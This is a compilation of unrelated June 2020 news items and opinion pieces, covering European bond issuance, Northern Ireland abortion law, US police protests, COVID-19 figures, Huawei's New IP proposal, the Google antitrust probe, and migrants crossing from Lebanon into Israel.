Also, Austria will conduct a further one to two syndications this year, which has been a popular way for nations to raise large amounts of cash.

European countries have ripped up their initial spending plans after the coronavirus forced millions of citizens to stay at home, closing shops and factories across the region. Even frugal Germany has unveiled a landmark stimulus package to help its economy weather what is set to be the steepest recession since World War Two.

The European Central Bank's 600 billion euro boost to its pandemic bond buying program will roughly match the additional debt supply by euro zone nations, Treasury Managing Director Markus Stix said in an interview.

"Supply and demand are matching again and that means rates should remain relatively stable," he said.

Ten-year bond yields remain below 0%, due to their status as one of the safest assets to hold in Europe. That means that the government is effectively paid to borrow out to a decade.

Given that market volatility has risen, the Treasury will announce auctions two days later than they used to from July, said Stix. Demand for longer-dated bonds, especially those in the 30-year part of the curve, has returned, he added.

Austria has already completed over 40% of its borrowing needs so far this year, the Treasury said.

Italy saw record demand this week for 10-year bonds at a syndication, receiving over 100 billion euros of orders. Unlike conventional auctions, they are typically used for new issues or to mobilize a large amount of money. But borrowers must pay a premium to banks that underwrite the sale and the pricing is often attractive to investors.
This week witnessed what could well be the last stand for unborn life in Western Europe. Until March of this year, Northern Ireland had been the last holdout against an encroaching culture of legal infanticide in the region  a veritable Helms Deep of human dignity. This tiny six-county sanctuary for the boys and girls who require nine months grace before they can join us on this mortal coil was vanquished at last earlier in the year without the express electoral consent of its citizens. It might have been expected that the opening of this new frontier of death would have been the work of a hard-left party in either Great Britain or Northern Ireland. American conservatives prone to misty-eyed reveries about the special relationship or the Atlantic Alliance will be disappointed to learn that the perpetrator was, in fact, the British Conservative party. Polls indicate that there is, indeed, an appetite for the liberalization of abortion laws in Northern Ireland, but not to the degree that was foisted on her citizens by Parliament.

Northern Irelands devolved government collapsed in 2016 after the two major parties failed to agree on a governing platform. Repeated elections failed to resolve the collapse because of the provinces unique constitutional arrangements, whereby the two largest parties are mandated to form a coalition government. As a result, the devolved prerogatives of the province reverted to the British Parliament in Westminster until the assembly could be restored. The principle of devolution in the United Kingdom is roughly inverse to that of federalism in the United States. There are enumerated powers delegated to the governmental chambers of Scotland, Wales, and Northern Ireland, while Westminster retains all responsibilities not explicitly designated to the Celtic assemblies.

One of Northern Irelands devolved powers is its provenance over social issues such as abortion and same-sex marriage  it is a far more socially conservative place than either the rest of the U.K. or the Irish Republic. The legislation instantiating the temporary assumption of these prerogatives by Westminster passed under the auspices of the Northern Ireland Act in July of last year. The act was amended by a Labour party MP Stella Creasy to include provisions to bring Northern Ireland into line with the more liberal abortion regime of the British mainland. This in spite of a ComRes poll of October 2018 indicting that two-thirds of women in Northern Ireland do not think Westminster should be interfering with abortion law in the province, regardless of their position on the moral question at hand.

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From an American vantage point, the proper response of any discernibly conservative political party fortunate enough to be in government when an amendment like this is floated would be to send it packing with several helpings of loquacious rhetorical condemnation for good measure; if not for the sanctity of life, then at least out of a basic respect for decentralized decision-making. Alas, it is simply not in the nature of the modern British Conservative party to do anything of the kind. The amendment passed with minimal resistance, 332 votes to 99, at a time when the Conservatives held 317 seats in the House of Commons and were wholly dependent on their coalition with the pro-life Democratic Unionist party for their governing majority. This would not be the last time that the DUP (partly owing to their own artlessness) would feel the conservative dagger in their back. As William Harcourt, leader of the Liberal party at the end of the 19th century, put it, the Conservatives, mark my word, never yet took up a cause without betraying it in the end.

A document published by Her Majestys Government in March of this year outlined a new legal framework for abortion services in Northern Ireland, spelling out the specific provisions that are now in effect for ending unborn lives in Northern Ireland: access without conditionality to abortion services up to 12 weeks gestation (11 weeks + 6 days), access to abortion services up to 24 weeks gestation (23 + 6 days) in cases where the continuance of the pregnancy would involve risk of injury to the physical or mental health of the pregnant woman or girl, greater than the risk of terminating the pregnancy (presumably not of the risk to the child), and access to abortion services in cases of severe fetal impairment (SFI) and fatal fetal abnormalities (FFA) with no gestational time limit. The authors of the document slip in to the phraseology of abortion zealots with almost unconscious ease. The language of decriminalising and reproductive healthcare is used throughout.

Of course the institutional actions of the Conservative party can never be wholly divorced from the decisions of its leader. Alexander Boris de Pfeffel Johnson (I kid you not) goes by Al among his family and friends but has chosen to present himself to the British public using the middle name least likely to have him mistaken for an eleventh-century lieutenant of William the Conquerer. He is not a leader that any social conservative would want as chief magistrate of their country. In Boriss Baby Problem, an article in the British magazine of ideas The Critic, David Scullion asks, Why does the government want so much abortion in Ulster? During his leadership election last year, the prime minister disappointed a Conservative party member who challenged him on the issue by confirming that he still held to his socially liberal position. This in contrast to his leadership rival Jeremy Hunt, who at least wanted to halve the legal time limit for abortions in the U.K. from 24 to twelve weeks. Johnsons position in this case is extreme even by the standards of the British mainland. A ComRes poll of 2017 showed that 70 percent of women want the time limit for abortion at the time the poll was taken be lowered and that 70 percent of parents want the introduction of parental-consent laws for girls 15 and under to get abortions. This majority consensus has been nowhere reflected in the Conservatives governing agenda. It is also worth noting that in 2004 the British newspaper the Mail on Sunday claimed that Spectator columnist Petronella Wyatt, one of Johnsons many mistresses, had two abortions, the last one paid for by Johnson while he was the arts spokesman for the Conservatives and party vice chairman. He was fired from his front-bench position for lying about it to the party leader, Michael Howard.

I write all this to make the simple point to social conservatives that the British Conservatives are not your friend. The Northern Ireland Assembly, now back up and running, voted this week to overturn Westminsters imposition of a liberal abortion regime, but to no avail. The supremacy of U.K. legislation over and against laws that apply specifically to Northern Ireland obtains in this circumstance and Parliament has no intention of allowing the people of Northern Ireland to live under their own locally endorsed laws in this case. Speaking after the symbolic vote taken against these measures in Belfast this week, Paul Givan, a DUP MLA (member of the Legislative Assembly), argued for the regulations to be overturned: The regulations imposed by Westminster have led to Northern Ireland having the most liberal abortion regime in Europe, he said. This approach undermined the devolution settlement, but worst of all facilitated the ending of so many precious lives. That is something that the majority of people here in Northern Ireland are against.

Apart from this act of sheer cultural domination, worthy of the Obama Justice Department, perpetrated against the most socially conservative enclave of the country, there is a broader point to be made here about British conservatism. The shorthand term for the Conservatives in Britain is the Tory party. It is worth noting that in Nathaniel Greenes diary entries during the Revolutionary War, he refers to the conflict as one between Whigs and Tories far more often than he does as one between the British and the Americans. If the broad church of conservatism in the Anglosphere is united by a vision of government as the framework for ordered liberty, there is a faction for which order predominates as the priority (Tory) and a faction for which liberty predominates (Whig). The Tory impulse likes hierarchy and stability, and retains a sense of aristocratic noblesse oblige that was driven from these shores a long time ago. The Tory elite are by and large patrician, privately educated, and paternalistic in their attitude toward their fellow citizens. They are comfortable with a bigger state that uses its monopoly on violence more liberally to look after the lower orders. One consequence of this attitude is that the prizing of local liberty and the geographic dispersal of power so central to the American conservative tradition is much more muted in the United Kingdom. The fact that one of the U.K.s constituent nations would prefer local autonomy in this area is likely to fall on deaf ears in the British Conservative party. The one-size-fits-all abortion regime foisted on the United States by Roe would be unlikely to offend Tory sensibilities. They usually devolve power to the regions only in order to head off secessionist politics.

One of the patrician Tory technocrats mentioned above, Ken Clarke, when faced with the possibility of having to make yet another concession to the pro-life DUP, told a journalist some years ago that you can always do a deal with an Ulsterman, but its no way to run a civilized society. This is the attitude that prevails toward social and (in American terms) political conservatives in the Tory Party. There are honorable individual exceptions, but, for the most part, when it comes to social issues, they might as well be Democrats. As the pro-life movement fights its heroic rearguard action against the culture of death across the world, they should expect no help from our old allies across the pond.

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We are doing everything from a perspective of restraint, he said at a news conference.

Many police officers are performing with grace under difficult conditions; some have been injured in the line of duty. And it cannot be easy for men and women sworn to protect the public to hear themselves accused by demonstrators as threats to society.

The Police Department also faces a genuine challenge in preventing lawless outbursts of looting that have left shopping streets in New York and other cities in ruins.

But Mr. de Blasio appears unwilling to confront the reality that the department is failing to meet the demands of this moment. Officers have been allowed to behave in a manner that disgraces their mission to protect and serve, and violates the public trust.

The mayor is allowing that to happen.

Mr. de Blasio has escalated tensions by imposing a curfew on the city, a curfew that primarily seems to be serving to criminalize what would otherwise be lawful assemblies. The mayor defended the policy on Thursday, declaring, There is a point where enough is enough. He added, If officers say now is the point we need you to go home, its time to go home.

Mr. de Blasio may have the power to erect such arbitrary barriers to protest; he clearly does not have the wisdom to refrain from using it. So long as demonstrations are peaceful, the mayor and the police should stop and listen to the legitimate concerns of those they serve.
Source: Xinhua| 2020-06-06 01:33:40|Editor: huaxia

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LONDON, June 5 (Xinhua) -- Another 357 COVID-19 patients have died in Britain as of Thursday afternoon, bringing the total coronavirus-related death toll in the country to 40,261, the British Department of Health and Social Care said Friday.

The figures include deaths in all settings, including hospitals, care homes and the wider community.

As of Friday morning, 283,311 people have tested positive for the disease in Britain, a daily increase of 1,650, said the department.

Charing Friday's Downing Street press briefing, Health Secretary Matt Hancock said the number of people on ventilators in hospital has dropped to 571, from a peak of more than 3,000 on April 12.

These are "encouraging trends", he said.

Hancock also announced that all hospital visitors and out-patients will have to wear face coverings from 15 June.

All hospital staff, whether working in a clinical setting or not, will have to wear a type one or two surgical mask, he added.

Earlier in the day, British government's chief scientific adviser Patrick Vallance told reporters in a virtual briefing that the R-number -- the average number of people that will contract coronavirus from an infected person -- for England was between 0.7 and one, while it remained between 0.7 and 0.9 for Britain as a whole.

The latest data suggested that northwestern England is an area for concern and some regions may have R-number above one, at which point the epidemic will begin to grow in these communities, the Guardian newspaper reported. Enditem
BAKU, Azerbaijan, Jun. 5

By Nargiz Sadikhova - Trend:

Kazakhstans KazMunayGas National Company (KMG) is considering transferring its KazTransGas and KazTransOil subsidiaries to Kazakh Samruk Kazyna Sovereign Wealth Fund in order to optimize KMG structure, KMGs Chairman of the Management Board Alik Aidarbayev said, Trend reports with reference to KMG.

Aidarbayev made the statement during a press conference.

Over the period of infrastructure development, KazTransGas and KazTransOil being a part of KMG was justified. It was necessary to concentrate all resources in a single center for the development of a diversified network of transport routes. To date, all this work is almost complete and the two companies have already become self-sufficient. Taking this into consideration, the proposal to reassign the KazTransGas company directly to the Samruk-Kazyna Fund was made. This will reduce management levels, keep the states infrastructure projects in the event that KMG enters IPO, and KMG itself will focus on exploration, production and refining of oil and gas, oil and gas chemistry projects, Aidarbayev said.

Currently, KMG started taking measures in relation to KazTransGas. Firstly, corresponding consent of state bodies must be obtained, as well as the approval of the boards of directors of the Samruk-Kazyna Fund and KMG.

The negotiations will also be held with other interested parties with whom KMG has a contractual relationship. Work will be carried out with creditors, including holders of KMG Eurobonds, to explain the transaction, the reasons for its implementation and to obtain their consent. Decisions on the structure of the transaction will be made taking into account their interests, as well as the impact on KMG's credit ratings. The issue in relation to KazTransOil JSC will be considered additionally at a later stage, the KMG said.

KazMunayGas National Company is Kazakhstan's national operator for exploration, production, refining and transportation of hydrocarbons, representing the state in Kazakhstan's petroleum sector.

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Follow the author on twitter: @nargiz_sadikh
In response to the death of George Floyd, the country has erupted with Black Lives Matter protests across the country.

In Ridgefield, a new organization, Ridgefield Allies: What Can I Do?  What Can We Do?, has been established in an effort to combat racism within the local community. On their website, Ridgefield Allies stated, we cannot stand silent while communities of color continue to suffer under the weight of violence, discrimination and injustice.

On June 7, Ridgefield Allies will be holding a virtual rally as part of the websites launch. The rally will be held at 1 p.m. and was organized by Jessica Mancini, Mark Robinson, DaMisi Adetona, Alex Harris and Bryan Perry.

Robinson said the rally will feature six speakers over Zoom and will be livestreamed through Facebook Live and YouTube. He also noted that the rallys objectives are to:

Express solidarity with communities of color regarding the issues of systemic racism and police treatment of people of color.

Recognize and embrace our responsibilities  individually and collectively  as humans, as citizens and as people of privilege.

Identify resources and methods that we  individually and collectively  can employ to do more to have a positive impact on these issues.

Ridgefield Allies stated that their organizations goal is to highlight what we can do as individuals and as a community to combat racism, and to bring together bright minds to educate, inspire, and motivate our community to take action against racism.

The Ridgefield Allies website features a resources list that includes books, articles, documentaries and websites people can turn to educate themselves on racial issues.

We support and seek to be active allies to organizations taking the lead in the fight for racial justice in America, including Color of Change, Black Lives Matter and the NAACP. We support them in their mission and you can too, the website states.

For more information about Ridgefield Allies and their virtual rally, visit ridgefieldallies.org.

This article was updated after misidentifying the Ridgefield Allies organizers.
Why it matters: One reason the Internet remains a good place for freedom of expression and governments have a difficult time censoring and controlling it, is the very language that networks adhere to in order to facilitate communications between them. However, Chinese companies such as Huawei think that we need a new, "more dynamic IP addressing system," one that might also lead to a less open and free Internet.

Huawei, and by extension, China isn't content with the TCP/IP communication protocol that governs how data moves around on the Internet, so in 2019 they issued a proposal for a replacement at an International Telecommunications Union (ITU) meeting.

The new system, dubbed "New IP" represents a radical change to the way Internet works, and the company claims it solves some of the technical issues that make it unsuitable for a hyperconnected world with a swarm of devices and sensors that need to power everything from augmented reality to self-driving cars and all manner of "implicit computing."

New IP would supposedly enable more reliable communications and handle the technical requirements of the fast-growing digital landscape, which is expected to balloon to one trillion Internet-connected devices by 2035. And while that sounds good on paper, there's also a touch of authoritarianism in the proposal, with several fine-grained controls that would lead to centralization, as well as tracking and censorship at the whim of governments.

Huawei believes the current network systems are headed towards a cluster of islands that require their own internal protocols and "translators" for communicating with each other. The company explained in the paper that it seeks to simplify these mechanisms to the point of having devices on the same network communicating directly with each other by using new tracking and authentication features developed for New IP.

However, the ITU -- which is led by Chinese communications engineer Houlin Zhao -- is hardly convinced, and will express its criticisms in detail at the World Telecommunication Standardisation Assembly in India later this year.

Others, such as the IETF have also dismissed the proposal as "harmful" and its premises as factually incorrect. The organization says there's no evidence of the "need for a monolithic 'New IP' designed from the top down." For instance, Huawei's proposal ignores extensive work that has already been done to improve the IP protocol stack for the Internet of Things (as detailed in RFC 8520), as well as QUIC, a new base protocol for HTTP that was developed with the help of Google.

The Internet Society also reviewed "New IP," and found it similarly concerning that Huawei ignored the costs of creating duplicative and overlapping work on addressing issues in the current protocol stack. The company also didn't explain how it plans to solve the potential effects of "New IP" on interoperability with networks using the current protocol system, and the regulatory complications that might arise.

Huawei says New IP should be ready for testing in early 2021, and that its research is open to engineers and organizations around the world if they want to contribute.
It seems like search on Android may be impacted by the US antitrust probe of Google. According to CNN, Justice Department investigators actually turned to Googles rival for some information.

Search on Android may be included in the US antitrust probe

DuckDuckGos founder was contacted for detailed information on how to increase competition in the online search market. This is a clear indication that search on Android may become included in the antitrust probe.

In any case, it seems like federal officials met with DuckDuckGos founder, Gabriel Weinberg, weeks ago to discuss the aforementioned issue. DuckDuckGo seems to have discussed the same proposal with state and congressional officials (two separate investigations).

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DuckDuckGo said that the best idea is to include detailed preferences on Android. Preferences that would allow users to select a different default search provider.

Google Search has been the default option on Android for years. Android is running the vast majority of smartphones all over the world, so you can see the issue there.

Back in 2018, antitrust penalties by the European Union forced Google to offer different options to its users. Well, it seems like the same option may be forced in the US as well, at some point, if things go in a similar direction.

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Mr. Weinberg said that If you try to break up Google, its going to take time and effort, and may not succeed. What DuckDuckGo is suggesting is a sweet spot which checks all the boxes.

The Justice Department did not comment on this information

The Justice Department did not respond to CNNs requests for comment, which is not surprising considering that this is an ongoing investigation. Google said that it continues to cooperate with the state and federal investigations. It did not, however, comment on DuckDuckGo.

All of this indicates that the antitrust probe is progressing. It seems to be spreading to Google Search, and we may see some further information in the near future.

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Attorney General, William Barr, recently said to the Wall Street Journal that he hopes the Google probe can be brought to fruition this summer. So, things could escalate really soon.

As a side note, this is not the first time Google has been subjected to the US antitrust probe. Something similar happened in 2012, when the Federation Trade Commission examined the companys search and advertising policies.

That probe did not go to court, though. The FTC decided to close the probe without suiting Google, even though some within the agency wanted to take Google to court.
Victoria Woodards, the mayor of Tacoma, Washington, has called for four officers to be fired and prosecuted after a black man, who yelled out "I can't breathe," died in police custody.

Woodards spoke Thursday after a video emerged earlier in the day of Manuel Ellis' death on March 3. Ellis died from respiratory arrest, hypoxia (when the body is deprived of adequate oxygen supply at the tissue level) and physical restraint, according to a medical examiners report. Police said officers had seen him banging on the window of another vehicle.

"The officers' actions we saw on this video tonight only confirm that Manuel Ellis' death was a homicide, and today I am asking -- no, I am telling you -- that I am going to call for several things, and the officers who committed this crime should be fired and prosecuted to the full extent of the law," Woodards said at a press conference.

MORE: Derek Chauvin had his knee on George Floyd's neck for nearly 9 minutes, complaint says

She called on the Pierce County Sheriff's Department, which is investigating the incident, to review and confirm every action taken by each officer.

"It does take a video for so many people to believe the truth about systemic racism and its violent impact on black lives, on my life," said Woodards, who is black.

PHOTO: Family, friends and community members attend a vigil at the intersection where Manuel Ellis, a 33-year-old black man, died in Tacoma Police custody on March 3, 2020. (Jason Redmond/AFP via Getty Images)

She said that while she watched the video she became "even more enraged and angered and disappointed."

"I don't get to take this skin color off every day," she continued. "I don't get to come out a different person, and while I am mayor, I am still black. I am still treated as an African American woman. I am still looked at as African American woman. My life could be taken, and today it stops in Tacoma."

Though Ellis died about three months ago, the video emerged Thursday in the midst of nationwide protests to end police brutality in the wake of the death of George Floyd, another black man who yelled "I can't breathe" and died in police custody.

Story continues

MORE: 74% of Americans view George Floyd's death as an underlying racial injustice problem: POLL

Police said that they saw Ellis banging on the window of another vehicle and restrained him "as he continued to be combative," according to ABC Seattle station KOMO.

PHOTO: People light candles during a vigil for Manuel Ellis, a black man whose March death while in Tacoma Police custody was recently found to be a homicide. (David Ryder/Getty Images)

Detective Ed Troyer, a spokesman for the Pierce County sheriff, said he didn't know the details of how Ellis was restrained, KOMO reported. Troyer said he did not believe a chokehold was used.

The video shows Ellis and the officers struggling before Ellis is taken to the ground. A woman can be heard shouting from her car, "Hey! Stop! Oh my God, stop hitting him. Just arrest him. Just arrest him. Oh my God, that looks so scary."

The video then shows her driving by as two officers are restraining Ellis and telling him to put his hands behind his back.

After Ellis yelled "I can't breathe," Troyer said the officers rolled him on his side and medical aid was requested.

Ellis was still breathing when medical personnel arrived, and he was removed from handcuffs while receiving medical attention for about 40 minutes before being pronounced dead, Troyer said.

The medical examiner's report stated that in addition to the official causes of death -- respiratory arrest, hypoxia and physical restraint -- additional factors such as methamphetamine intoxication and dilated cardiomyopathy, also known as an enlarged heart, contributed. Ellis was a struggling addict but working to turn his life around, an attorney representing his family said.

His death was ruled a homicide by the medical examiner, meaning he was killed by another person. That medical conclusion doesn't accuse anyone of committing a crime in his death.

Woodards demanded that the city pay for body cameras worn by police immediately.

"We have heard way too many excuses," she said.

Ellis' mother, Marcia Carter, was joined by other family members outside the Pierce County Superior Courthouse with representatives from the NAACP and the Tacoma Action Collective to call for an independent investigation by the Washington State Attorney General's Office.

PHOTO: Marcia Carter-Patterson speaks during a vigil at the intersection where her son Manuel Ellis, a 33-year-old black man, died in Tacoma Police custody on March 3 and was recently ruled a homicide. (Jason Redmond/AFP via Getty Images)

"As a mother, you can never imagine what it's like to bury your son," Carter said on Thursday.

James Bible, an attorney representing Ellis' family, said that Ellis was not a danger to anyone.

"There was no reason to kill this man. They weren't in danger of anything. He was unarmed," Bible said.

The officers involved, who have not been identified, have been placed on administrative leave, according to a statement from Tacoma Police Chief Don Ramsdell.

"We hear your anger, frustrations and hopes. I want you to know we continue to be committed to engaging with you on topics of safety, community policing and race, so that all people feel safe in Tacoma," Ramsdell said.

MORE: Graphic video shows Buffalo police pushing man to ground during George Floyd protest

A police spokeswoman did not immediately return an email from ABC News on Friday seeking more details on the incident.

The uproar around Ellis' death comes as officers elsewhere in Washington, in the city of Spokane, released bodycam footage of an arrest that included an officer kneeled on a suspect's neck.

"In light of the death of George Floyd in Minneapolis, SPD is sensitive to the fear, anger and confusion over the pictures and narrative," police said in a statement. "The arrest incident is under investigation by SPD and is a top priority given the current climate of unrest and protests."

In that incident, police were called to the scene by a Park Ranger who "expressed a sense of urgency."

Police said the ranger was fighting with the suspect and had trouble handling him, prompting several police officers to respond.

The suspect, who's white, can be heard shouting "ow" multiple times and asking the officer to take his knee off his neck.

Police said the officer had his knee on the man's neck for about one minute.

Tacoma mayor calls for officers to be fired, prosecuted after man dies in custody originally appeared on abcnews.go.com
Queen Elizabeth II has reportedly asked Kate Middleton to extend an olive branch to her sister-in-law Meghan Markle.

As Closer USA reports, the monarch was able to convince the Duchess of Cambridge and the Duchess of Sussex to make amends.

Allegedly, Kate called Meghan on the phone, and they apologized to one another.

According to their source, the former "Suits" actress has said to admit that she might have overreacted.

The 94-year-old Queen is excited to see that both Duchesses are talking to each other once again.

Queen Elizabeth II is also grateful that her two grandsons, Prince Harry and Prince William, have also reconciled.

A source told the magazine, "The Queen isn't getting any younger - and her final wish is for them to make peace. She told them how devastated she was that her two favorite grandsons were no longer talking."

However, it's best to take this report with a grain of salt as no evidence can prove what the tabloid wrote is true.

"They both owned up to their mistakes in letting things spiral so far out of control. Of course, their relationship won't get back to where it was overnight, but they're making progress, and the Queen couldn't be happier."

As per their insider, Prince Harry and Meghan Markle have also reportedly started to see the bigger picture. As such, the Duke of Sussex has agreed to reconcile with his older brother.

Recently, it was reported that the Duke of Cambridge urged his younger brother to fly out of Los Angeles because of the riots.

An insider spoke to Us Weekly, "William's advised Harry to return to London or move elsewhere, somewhere safer."

"He's concerned about his brother's wellbeing and safety."

Since the two are talking again, it has also been said that the 35-year-old prince is leaning on the future King of England as he struggles to adjust to his new life in Los Angeles.

Prince Harry didn't expect to face a ton of obstacles during his move. He is said to have unrealistic expectations of what life in Los Angeles would be like, and "saw Los Angeles through rose-colored glasses."

But despite Prince Harry's difficulties, the parents of Master Archie Harrison are staying put in California even though they have considered moving elsewhere.

Prince Harry is also said to be in contact with his grandmother, as the Queen has been reaching out to the Duke to see if he's okay and even offered to help him out if needed.

A couple of sources reportedly told FOX News that the Duke and Duchess of Cambridge have been worried about their family's safety because drones were flying over their mansion in Los Angeles.

"Drones have been flying over their house at all hours. it's creepy and incredibly scary from a security standpoint, especially when they are outside with the baby."

The source further told the network, "There's no telling who is flying them, and they have received death threats in the past, so every potential danger has to be taken seriously."

READ MORE: Meghan Markle True Colors Revealed: A 'Backstabber' Like Camilla Parker Bowles, Analyst Says
By Sharay Angulo

MEXICO CITY, June 4 (Reuters) - Late changes to a new trade deal agreed by the United States, Mexico and Canada will make it harder for companies in the auto sector to meet requirements for use of regional steel and aluminum, a local industry lobby said on Thursday.

The modifications affect new content requirements for the industry under the United States-Mexico-Canada Agreement (USMCA), which will come into effect in July, replacing the 1994 North American Free Trade Agreement (NAFTA).

To qualify for tariff-free trade, makers of heavy vehicles must meet various requirements, including a 60% regional content threshold that will increase gradually and 70% regional inputs of steel and aluminum, which also apply to automakers.

Miguel Elizalde, head of the Mexican heavy vehicle makers' association ANPACT, said late adjustments meant the industry would have to meet the 70% target for certain parts in the assembly process that had not been previously included.

"They were added at the last minute," said Elizalde. "Sub-sections on vehicle components were included when it was said it would just be raw materials (for steel and aluminum)."

The industry faced a "big challenge" to comply with the new conditions at such short notice, particularly given the current novel coronavirus crisis, he added.

In December, the three signatory countries agreed an amendment that included a U.S. demand for a stricter definition of steel and aluminum in the automotive rules of origin. But it did not include the stipulations on parts inputs.

The changes, which were only confirmed this week, would likely force companies to reorganize supply chains, eating up time and adding to costs, Elizalde said. In the end, some companies may simply opt to pay a tariff instead, he added. (Reporting by Sharay Angulo; Writing by Dave Graham; Editing by Richard Pullin)
Abu Dhabi-based sovereign investor Mubadala Investment Company will buy 1.85 per cent stake in Jio Platforms for Rs 9,093.6 crore, RIL said on Friday. With this investment, Jio Platforms has raised Rs 87,655.35 crore from leading global technology and growth investors, including Facebook, Silver Lake, Vista Equity Partners, General Atlantic, KKR and Mubadala, in less than six weeks.

The investment from Mubadala comes in Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore.

Also read: Reliance Jio-Mubadala deal- 6 key things to know

Mubadala Investment Company (Mubadala) will invest Rs 9,093.60 crore in Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore. Mubadalas investment will translate into a 1.85 per cent equity stake in Jio Platforms on a fully diluted basis, RIL said in a statement.

RIL subsidiary Jio Platforms is a next-generation technology platform focused on providing high-quality and affordable digital services across India, with more than 388 million subscribers. The telecom services arm Reliance Jio comes under Jio Platforms.

Through my longstanding ties with Abu Dhabi, I have personally seen the impact of Mubadalas work in diversifying and globally connecting the UAEs knowledge-based economy. We look forward to benefitting from Mubadalas experience and insights from supporting growth journeys across the world, RIL chairman and managing director Mukesh Ambani said.

Mubadala owns electronic chip manufacturing company Global Foundries and has stake in several technology companies like AMD.

It has an investment portfolio across several fields, including petroleum, renewable energy, aerospace, satellite communications, agriculture, healthcare, metals and mining.

We have seen how Jio has already transformed communications and connectivity in India, and as an investor and partner, we are committed to supporting Indias digital growth journey. With Jios network of investors and partners, we believe that the platform company will further the development of the digital economy, Mubadala Investment Company managing director and Group CEO Khaldoon Al Mubarak said.

Mubadala established its ventures arm in 2017 to partner early with visionary founders and support innovative businesses.

Mubadalas Ventures business currently manages several venture funds in the US, Europe and Middle East.
Every name on the BrandBucket marketplace is exclusively listed with BrandBucket. That means that all of our sellers are very responsive, making for quick domain transfers.

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In most cases, if a domain is moved between accounts at a single registrar, the transfer is quick and usually completes within 48 hours. If a domain changes registrars (in other words, you would like to move it away from where it is currently registered), the transfer is slower. The total transfer time can then be anywhere from 48 hours to 7 days.

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I entered [Israel] on Tuesday, along the border with Lebanon.  I was helped by someone named Abu Abdo. He is a smuggler, who told me where I could get in and took me halfway there. I walked the rest of the way on my own. When I got to the fence, I crossed it alone. I continued walking for another half hour, before someone saw me, brought me water, and called the army.  They called the Nahariya Police Department, which interrogated me at the immigration division. Then, at court, they gave me papers.  Once I was released, I walked to my brother in Tel Aviv. I traveled from Sudan to Syria, and from there, I went to Lebanon. I wasnt tortured. I wasnt hurt. Im healthy.

This story was told by Muhammad Abshar Abakar, a 25-year-old Sudanese refugee who was caught in January after crossing Israels northern border. Two weeks later, he was brought before the custody court in the Givon holding facility. Abakar said he worked as a dishwasher at a restaurant in Beirut. He said that after the eatery was shut down, he decided to sneak into Israel and find work at a restaurant in the north.

Abakar may be the first refugee who has been able to get across one of the most heavily guarded borders in the Middle East (the border between Israel and Lebanon) and arrive safely in Israel. Others followed in his wake, apparently because he eventually found work in Tel Aviv after spending nearly three months in custody. Rumors about him spread like wildfire, and dozens of others tried to get across. The way things look now, the flow across the northern border is likely to intensify.

On May 3, a group of five Sudanese attempted to cross the border. They were caught and sent back to Lebanon. On May 17, an IDF force following a routine near Har Dov saw a Syrian attempting to enter the country. He was shot and taken to a hospital in Israel in critical condition. On May 19, the IDF caught two suspects of Sudanese origin who crossed from Lebanon into Israeli territory. Just one day earlier, IDF troops located several holes in the border fence. The suspicion is that these were made by people attempting to enter the country. According to a Channel 2 report, 13 Sudanese migrant workers attempted to cross the Lebanese border into Israel near the agricultural village of Shetula on May 30. Three were caught by the Israel Defense Forces (IDF), while 10 were caught by the Lebanese army.

As the economic situation in Lebanon deteriorates, Israel is becoming more attractive to guest workers in Lebanon, Col. Orna Mizrahi (ret.) told Al-Monitor. The former deputy national security adviser for foreign policy is now a senior researcher at Israels Institute for National Security Studies. Today in Lebanon, over 50% of the population is said to be living below the poverty line. It is only natural that when there is such a severe economic crisis, one of the populations to suffer most is the immigrant community. They have less job security, especially in Lebanon, where they already suffer from serious discrimination.

Mizrahi said this is one of the tightest borders in the region, especially given the growing tension between the IDF and Hezbollah. Both sides wander about armed to the teeth, and everyone is suspicious and nervous. Nevertheless, Sudanese immigrants are still willing to gamble on it. The situation in Lebanon is so desperate that they are willing to take a huge risk in the hope that they might find a better future in Israel, she said. It may also be the fact that there is a large Sudanese community in Tel Aviv, which works and makes a living here. This encourages other Sudanese to take such a big risk.

Nevertheless, Mizrahi suspects that at least some of the attempts to cross the border over the last few months were orchestrated by Hezbollah to test Israels alertness and to collect intelligence. We know that Hezbollah pretty much controls the sector. It is not impossible that they are actually following the people trying to get into the country. It allows these refugees to get to the border, and it uses them, whether they know it or not, to learn about the IDFs activities and gauge its vigilance.

Israel wants to stop the phenomenon. Politicians are calling for a halt to the trend once and for all. Former Justice Minister Ayelet Shaked wrote on Twitter on May 31, 13 infiltrators from Sudan tried to enter Israel from the border with Lebanon over the weekend.  It has to stop now, before a few individuals become thousands.

The current practice in Israel is to return people who crossed the border back to Lebanon as soon as they are caught and to take them past the fence. Nevertheless, human rights organizations are critical of this practice. According to Shira Abbo, a representative of the nongovernmental organization Hotline for Refugees and Migrants, the fact that Israel is returning these Sudanese refugees to Lebanon without first investigating their cases and interrogating them is illegal. Israel is a signatory to various international conventions, which obligate it to allow anyone seeking refuge to present his or her request in an organized manner the moment they reach Israels border, she told Al-Monitor. The current procedure, which is known as a hot [on the spot] return, was only permitted by the Supreme Court on condition that refugees are first interrogated by authorities specifically authorized to do that, and this is not happening. We are certainly considering our next steps.

The Hotline for Refugees and Migrants represented Abakar in court and was able to get him released from custody after almost three months in prison. We provide assistance to all people who cross the border illegally and to migrant workers, but most of the people requesting sanctuary in Israel are war refugees from Sudan, Abbo said. In principle, Israel approves requests for sanctuary from Sudanese citizens, so if these Sudanese citizens reach our borders, we want to see a serious assessment of their requests for sanctuary.

In contrast, Attorney Yonatan Yakobovich, the director of the Israeli Immigration Policy Center, told Al-Monitor that the Sudanese are not refugees per se but migrant laborers who consider Israel to be a preferable destination because of changes taking place in Europe. Until now, Israel was less appealing to Sudanese immigrants for the simple reason that there were other, more attractive alternatives, particularly in the European states. But now Europe is starting to take a tougher stance, and some of the nations there are already sending Sudanese immigrants back to Sudan. There are also steps being taken directly with the governments of African states to prevent the arrival of these immigrants in advance. On the other hand, Israeli courts have all but eviscerated any tools the country had to deal with immigration, including the Financial Security Law, which was recently overturned. That is why these immigrants believe that it is in their interest to try and come here.

He added, This is why we are seeing an increase in attempts to infiltrate the country by way of Lebanon. I expect this phenomenon to continue. Yakobovich said he believes attempts to enter the country will intensify over time. We are already seeing an almost exact repeat of what happened at the start of the waves of illegal immigrants from Egypt, who arrived here in 2010. If Israel doesnt wake up, hundreds of migrant workers from Sudan will try to get into the country in the very near future.
Bryter, a Berlin, Germany-based no-code automation platform that allows users to build professional business apps, raised $16m in Series A funding.

The round was led by Dawn Capital and Accel, with participation from Notion Capital, Mike Chalfen of Chalfen Ventures.

